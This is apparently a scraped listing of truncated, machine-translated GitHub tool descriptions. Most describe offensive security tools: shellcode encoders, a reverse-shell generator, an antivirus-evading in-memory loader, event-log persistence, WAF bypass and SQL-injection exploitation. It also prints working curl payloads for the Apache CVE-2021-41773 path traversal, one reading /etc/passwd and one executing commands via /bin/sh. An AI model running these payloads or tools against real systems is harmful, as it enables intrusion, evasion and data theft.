awesome-web-security

Awesome Web Security 🐶 Курируемый список материалов и ресурсов по веб-безопасности. Излишне говорить, что большинство веб-сайтов страдают от различных ошибок, которые в конечном итоге могут привести к уязвимостям. Почему это происходит так часто? Здесь может быть задействовано множество факторов,...

Slink

Slink는 7f를 초과하는 문자를 다시 포맷하기 위해 간단한 수학 연산을 사용하는 영숫자alphanumeric 셸코드x86 인코더입니다. 이 도구는 다음 스플로잇 EDB-ID: 44455에서 영감을 받아 만들어졌습니다. 현재 기능 목록은 다음과 같습니다: 01-7f 문자 집합을 사용하여 인코딩합니다. 기본적으로 \x00\x10\x0a\x0d\x20 같은 일반적인 배드 문자를 제외합니다. \x90으로 패딩하여 셸코드가 4로 나누어떨어지도록 합니다. 입력으로 여러 셸코드 형식을 허용합니다. 셸코드 변수 이름을 지정합니다. 인코딩...

tesseract

Unit Testing for Tesseract Requirements Files and structure ├── langdatalstm │ ├── common.punc │ ├── common.unicharambigs │ ├── desiredbigrams.txt │ ├── eng │ │ ├── desiredcharacters │ │ ├── eng.config │ │ ├── eng.numbers │ │ ├── eng.punc │ │ ├── eng.singlestext │ │ ...

Shelltropy

Shelltropy Чем вы предсказуемее, тем меньше вас обнаружат Техника сокрытия вредоносного шелл-кода на основе низкой энтропии с помощью кодирования Шеннона. Энтропия — это мера случайности в наборе данных в данном случае: шелл-код. Чем выше энтропия, тем более случайными являются данные. Энтропия...

reverse-shell-generator

reverse-shell-generator Хостируемый генератор обратных оболочек с обширным функционалом отлично подходит для CTF Хостируемый экземпляр https://revshells.com Возможности Генерация общих слушателей и обратных оболочек Кнопка сохранения для загрузки пейлоадов из браузера Raw-режим для получения...

powerglot

Powerglot Powerglot кодирует несколько видов скриптов с использованием полиглотов, например, атакующих powershell-скриптов. Для выполнения полезной нагрузки не требуется загрузчик. В упражнениях красной команды или атакующих задачах маскировка полезных нагрузок обычно осуществляется с помощью...

json-sanitizer

json-sanitizer JSON과 유사한 콘텐츠가 주어지면 JSON Sanitizer는 이를 유효한 JSON으로 변환합니다. 시작하기 - 연락처 이는 데이터 파이프라인의 양쪽 끝에 연결하여 Postel의 원칙을 충족시키는 데 도움이 될 수 있습니다. 자신이 하는 일에는 보수적으로, 다른 사람에게서 받아들일 때는 관대하게 다른 사람에게서 받은 JSON과 유사한 콘텐츠에 적용하면, 사용 중인 모든 파서를 만족시킬 수 있는 잘 구성된 JSON을 생성합니다. 보내기 전에 출력에 적용하면, 인코딩의 사소한 오류를 강제로 수정하고...

amber

Введение Amber — это позиционно-независимый рефлексивный загрузчик PE-файлов, который обеспечивает выполнение нативных PE-файлов EXE, DLL, SYS... в памяти. Он позволяет скрытно развертывать полезную нагрузку в памяти, что может использоваться для обхода антивирусов, межсетевых экранов, IDS, IPS и...

XSSYA

XSSYA-V2.0이 출시되었습니다 - https://github.com/yehia-mamdouh/XSSYA-V-2.0 확인 XSSYA는 교차 사이트 스크립팅XSS 스캐너 및 취약점 확인 도구입니다 두 가지 방식으로 작동 • 확인 방법 1: 요청 및 응답Request and Response • 확인 방법 2: 인코딩된 페이로드를 실행하고 웹 HTML 코드에서 동일한 페이로드를 디코딩된 상태로 검색 • HTTPS 지원 • 확인 후 쿠키를 얻기 위해 페이로드 실행 • 3가지 유형의 WAF 식별 ModSecurity -...

ToolsFx

ToolsFx English|中文 방문자 :eyes: 기능 인코딩 위키 base64 urlBase64 base16/32/36/45/58/62/85/91/92/100 base58check UrlEncode Unicode js hex\x61/js octal\140 binary/octal/decimal/hex custom base serial dict puny code quote printable uuEncode xxEncode escape/escapeAll 자동 디코드크랙...

ghauri

Like Ghauri, consider supporting the developer Ghauri An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws. Requirements Python 3 Python pip3 Installation cd to ghauri directory. install requirements: python3 -m pip install --upgrade ...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 — уязвимость Path Traversal в Apache 2.4.49. RCE POC PoC Полезная нагрузка curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Подписывайтесь на нас Vulnmachines...

llvm-jutsu

llvm-jutsu: анти-LLM обфускация Это 32-битное целое число Проблема На дворе 2025 год. Вы потратили недели, создавая идеальную проверку лицензии. Вы использовали все трюки из книги: непрозрачные предикаты, сплющивание потока управления, MBA-выражения. Вы разворачиваете решение. Через несколько час...

SharpEventPersist

SharpEventPersist Персистентность с помощью записи/чтения шелл-кода из журнала событий. Использование Инструмент SharpEventPersist принимает 4 параметра, чувствительных к регистру: -file "C:\path\to\shellcode.bin" -instanceid 1337 -source Persistence -eventlog "Key Management Service". Шелл-код...

shellme

shellme 때로는 셸코드와 opcode를 빠르게 필요로 할 때가 있기 때문입니다. 기본적으로 몇 가지 nasm/objdump 호출을 깔끔한 스크립트 하나로 감싸는 것뿐입니다. bryan@devbox:/shellme$ python shellme.py usage: shellme.py -h -n FILE -o OUTPUT -i INSTRUCTION -a ARCH optional arguments: -h, --help show this help message and exit -n FILE nasm or object file -o...

XORpass

XORpass — это кодировщик для обхода WAF-фильтров с использованием XOR-операций. Установка и использование git clone https://github.com/devploit/XORpass cd XORpass $ python3 xorpass.py -h Пример обхода: Использование обычной PHP-функции: Использование XOR-обхода этой функции: $ python3 xorpass.py ...

yaralyzer

THE YARALYZER Визуально проверьте все совпадения регулярных выражений и их более загадочных родственников — YARA в двоичных данных и/или тексте. Посмотрите, что происходит, если принудительно применить различные кодировки символов к этим совпавшим байтам. В цвете. Быстрый старт pipx install...

reversemap

reversemap Analyse SQL injection attempts in web server logs The program can either be run in batch mode or interactive mode. In batch mode the program will accept Apache web server logs and will deobfuscate requested URLs from the logs. In interactive mode the program will prompt for user input...

cve-2023-5217-poc

CVE-2023-5217: Эксплойт переполнения кучи при кодировании VP8 в libvpx CVE-2023-5217 — это эксплуатируемая в реальных условиях уязвимость libvpx, обнаруженная Клеманом Лесинем из Группы анализа угроз Google Threat Analysis Group, нацеленная на Chrome. Этот репозиторий показывает, как вызвать...

CVE-2025-65300

CVE-2025-65300 설명 CVE-2025-65300: Stored Cross-Site Scripting XSS Vulnerability in Coohom SaaS Platform 공개 날짜: 2025-10-28 마지막 업데이트: 2025-10-28 보고자: Phisit Pupiw 공급업체: Coohom CWE: CWE-79 – Cross-Site Scripting 요약 Coohom SaaS 플랫폼의 계정 설정 → 프로필 → 주소 모듈에서 저장형 교차 사이트 스크립팅XSS 취약점이 확인되었습니다. 사용자가 제공한 입력값이...